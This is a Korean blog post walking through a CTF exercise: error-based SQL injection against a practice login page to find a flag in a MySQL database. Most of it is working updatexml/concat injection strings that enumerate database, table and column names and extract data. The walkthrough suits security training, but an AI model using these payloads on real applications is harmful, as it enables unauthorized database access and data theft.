본문 바로가기

old/Cyber Security

웹 해킹 예제: Error base sql injection_CTF: 노말틱 DB 데이터 추출 2

반응형

목표

로그인 페이지를 만났다!

이 서버에 연결된 DB를 털어라! DB안에 있는 flag를 찾으세요! :)

공격된 웹싸이트

노말틱님의 해킹 연습 웹싸이트

http://ctf.segfaulthub.com:9999/sqli_2/

공격

정보리스트

SQL

질문 답변

sql 질의문이 보이는가? 오류문이 보임
사용할 sqli Error base sql injection
사용 DB MySQL
오류메세지가 오는 곳 디비
DB 이름 sqli_2
table 이름 flag_table
column 이름 flag

공격순서

  • 에러메세지를 확인 할수 있는 경우, 시도해볼수 있다.
  • 논리에러

에러 메세지가 DB에러인지 확인

에러메세지는 본인 클라이언트에서올수도 있고, 웹서버에서도 올수 있습니다. 서버디비에서 오는 오류메세지인지 확인해야 Error base sql injection를 사용할수 있습니다.

updatexml, extractvalue등 사용가능. concat명령어에 의해서 :test 라는 syntax 에러(논리 에러)가 나타남.

1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1

에러메세지용 base 설정

1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1

database이름 확인

select database()
1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

table 이름 확인

select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1

column 이름 확인

limit [어디에서부터],[몇개]

select column_name from information_schema.columns where table_name='table_name' limit 0,1
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1

데이터 추출

limit [어디에서부터],[몇개]

select column_name from table_name limit 0,1
1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1
반응형